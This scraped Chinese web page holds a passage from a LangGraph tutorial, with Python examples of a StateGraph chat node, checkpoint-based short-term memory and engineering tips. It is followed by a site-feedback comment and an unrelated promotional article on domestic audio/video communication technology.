下面是一个包含两个节点的示例:通过 LLM 生成回答并记录状态。

from typing import TypedDict, Annotated
from langchain_openai import ChatOpenAI
from langgraph.graph import StateGraph, END
from langgraph.graph.message import add_messages
from langchain_core.messages import HumanMessage

# 1. 定义全局状态
class ChatState(TypedDict):
    messages: Annotated[list, add_messages]

# 2. 初始化模型
llm = ChatOpenAI(
    model="qwen3:8b",
    base_url="http://localhost:11434/v1",
    api_key="your api key",
)

# 3. 定义节点
def chat_node(state: ChatState):
    response = llm.invoke(state["messages"])
    return {"messages": [response]}

# 4. 构建 StateGraph
graph = StateGraph(ChatState)
graph.add_node("chat", chat_node)
graph.set_entry_point("chat")
graph.add_edge("chat", END)
graph = graph.compile()

# 生成可视化图
with open("/Users/zhoupb/workspace-ai/atnk-ai/data/demo.png", "wb") as f:
    f.write(graph.get_graph(xray=True).draw_mermaid_png())

# 5. 调用
result = graph.invoke(
    {"messages": [HumanMessage(content="用一句话介绍什么是 LangGraph?")]},
)
print(result["messages"][-1].content)

demo.png

在这个例子中:

  • ChatState:全局状态结构
  • chat_node:处理模型逻辑的节点
  • edges:从起点直接进入 chat_node,并更新消息状态

你可以在图内使用更复杂的节点连接和条件分支。(docs.langchain.org.cn)


五、记忆(Memory)如何集成?

智能体的核心能力之一,就是记住之前的对话或操作历史

LangGraph 提供了开箱即用的短期记忆机制,基于 检查点(checkpoint) 存储状态。以下是短期记忆的示例:

from langgraph.checkpoint.memory import InMemorySaver

#...省略

# 使用检查点保存状态
checkpointer = InMemorySaver()
graph = graph.compile(checkpointer=checkpointer)

# 使用同一个 thread_id,触发“记忆”
config = {"configurable": {"thread_id": "local-chat"}}

# 第一轮
result = graph.invoke(
    {"messages": [HumanMessage(content="用一句话介绍什么是 LangGraph?")]},
    config=config
)
print(result["messages"][-1].content)
print("-" * 100)

# 第二轮(保留上下文)
result = graph.invoke(
    {"messages": [HumanMessage(content="用一句话介绍它和 LangChain 的关系?")]},
    config=config
)
print(result["messages"][-1].content)

同一个 thread_id 下的状态会被持续保存,实现短期记忆,非常适合多轮对话场景。


六、工程化建议:可控、可视化与部署

在真实工程场景下,图式 Agent 的能力远不止示例那么简单:

微信图片_20260206164353_120_235.png

1️⃣ 自定义状态扩展

可以在 Agent 内定义更多状态字段,比如用户偏好、执行路径、决策数据等:

class CustomState(TypedDict):
    messages: list
    user_settings: dict

调用 create_agent 时,通过 state_schema 参数传入,Agent 就会自动维护这些字段。


2️⃣ 集成工具能力

Agent 可以调用检索、代码执行、数据库查询等工具。
工具可以作为节点,或者直接传入 tools 列表,由 Agent 在执行过程中调用,显著增强实际能力。


3️⃣ 可观测与调试

结合 LangSmith Trace 等可观测平台,可以:

  • 可视化执行路径
  • 追踪状态变化
  • 调试复杂流程

大幅提高生产环境的可维护性。


七、工程化细节总结

技术点最新 API
构建 Agentcreate_agent()(替代旧的 create_react_agent
状态管理StateGraph 定义全局状态,并流转节点逻辑
记忆基于 checkpoint 机制实现短期记忆
自定义状态可通过 state_schema 扩展
可控流程用节点 + 边 + Command 控制流程

八、结语:从链到图

如果说传统 Chain线性的能力组合,那么 StateGraph 就是有状态的全局控制流机
如果说 Chain 是工具驱动流程片段,Graph 就是工程级的智能协同平台

在 Agent 需求越来越复杂的今天,单靠 Chain 已无法应对多步骤决策、逻辑分支和记忆维护,而 LangGraph 的图式设计正是为可控 Agent 而生。

如果你正在做:

  • 多步对话机器人
  • 带外部工具调用的智能体
  • 具有长期记忆的应用
  • 需要可视化与调试的生产系统

那么,从 LangChain 到 LangGraph 的升级,将是你最值得投入的一条路线

image
首页正文区有点太长了,因为右边个人信息卡片和导航都是固定的,不随浏览器走,所以看到下面就只能回到顶部或者手动滑回来,如果减少首页正文条目应该会好一些,现在应该是 50 条,可以看看减少到 20 和 30 是不是好点。
@Jimmy

国产音视频技术新突破:自主可控解决方案的崛起在信息技术自主创新浪潮的推动下,各类组织对音视频通信技术的要求已发生深刻变化。过去单纯追求功能完备的方案已难以满足当前环境,市场日益重视技术的国产化属性、安全可控性以及生态兼容能力。传统解决方案往往在适配国产软硬件体系、保障数据传输安全、支持多样化终端等方面存在局限,亟需新一代技术架构来填补这一空白。
图片
全面适配国产化环境:打破生态壁垒为应对国产化信息技术生态的独特需求,一批专注于自主研发的企业推出了新一代音视频通信解决方案。这些方案以“自主可控、安全合规”为设计原则,致力于为政府、金融、能源及大型企业提供符合国产化要求的定制化服务。其中,代表性技术已实现与主流国产芯片平台(如鲲鹏、飞腾、龙芯、兆芯等)的深度适配,并全面兼容统信UOS、麒麟软件等国产操作系统。通过对底层媒体处理引擎的优化重构,确保了在不同硬件平台和操作系统上都能保持稳定的性能输出和流畅的用户体验,有效解决了跨平台兼容性难题。在音频设备适配方面,新一代解决方案提供了智能化的音频路由管理能力,支持在有线耳机、蓝牙设备、内置扬声器等多种音频输出方式间无缝切换。这一设计不仅提升了跨设备使用的便利性,也降低了在多终端场景下的配置复杂度。构建端到端安全体系:筑牢数据防护屏障在信息安全日益重要的今天,音视频通信平台必须具备多层次的安全防护能力。新一代解决方案从数据传输、存储到访问控制等多个维度构建了完整的安全体系。在数据传输层面,采用符合国家密码管理要求的加密算法,对音视频流、信令控制及文件传输等全过程进行加密保护,确保数据在传输过程中的机密性和完整性。同时,支持私有化部署模式,允许用户将系统部署在本地数据中心或专属云环境中,实现数据的完全自主管控。在访问控制方面,提供了细粒度的权限管理功能,管理员可根据组织架构和职责分工设置差异化的会议权限。结合动态水印、实名认证、参会密码等多重验证机制,有效防止信息泄露和未授权访问,特别适用于对保密性要求较高的政务、金融、司法等领域。优化网络适应能力:保障复杂环境下的通信质量实际应用环境中,网络条件往往存在较大差异。为应对这一挑战,新一代音视频技术引入了智能网络感知与自适应调节机制。系统能够实时监测网络带宽、延迟、抖动等指标,动态调整视频分辨率、帧率和编码参数,在网络波动时优先保障语音通信的连续性,确保在各种网络条件下都能提供可用的通信服务。针对网络丢包问题,采用了前向纠错、丢包重传等混合恢复技术,在网络丢包率达到一定阈值时仍能维持基本的通话功能。这一特性对于网络基础设施相对薄弱的地区、移动办公场景以及应急指挥等特殊环境具有重要价值。降低开发集成门槛:提供灵活易用的技术组件为加速技术落地进程,新一代解决方案提供了完善的开发支持体系。通过模块化的SDK设计和丰富的API接口,开发者可以根据实际需求灵活选择集成范围,快速将音视频能力嵌入现有业务系统中。同时,提供可高度自定义的UI组件库,支持界面风格、布局、功能的灵活配置,大幅降低了二次开发的工作量和技术门槛。全周期服务支持:助力项目顺利实施除了技术产品本身,服务团队还构建了覆盖需求分析、方案设计、开发集成、上线运维的全生命周期支持体系。提供包括开发文档、示例代码、集成指南在内的完整技术资料,并配备专业技术支持团队,为客户提供定制化的咨询服务和实施指导。针对特定行业的特殊需求,还可提供专项技术支持和联合开发服务,确保解决方案与业务场景的深度融合。展望未来随着信息技术应用创新产业的快速发展,具备自主知识产权、符合国家安全标准、适配国产化生态的音视频通信技术,将成为推动千行百业数字化转型的重要基础设施。未来,相关技术提供商将继续深化在国产化适配、安全增强、性能优化等方面的探索,拓展在远程协作、智慧教育、数字医疗、工业互联网等更多领域的应用,为构建安全可控的数字中国贡献力量。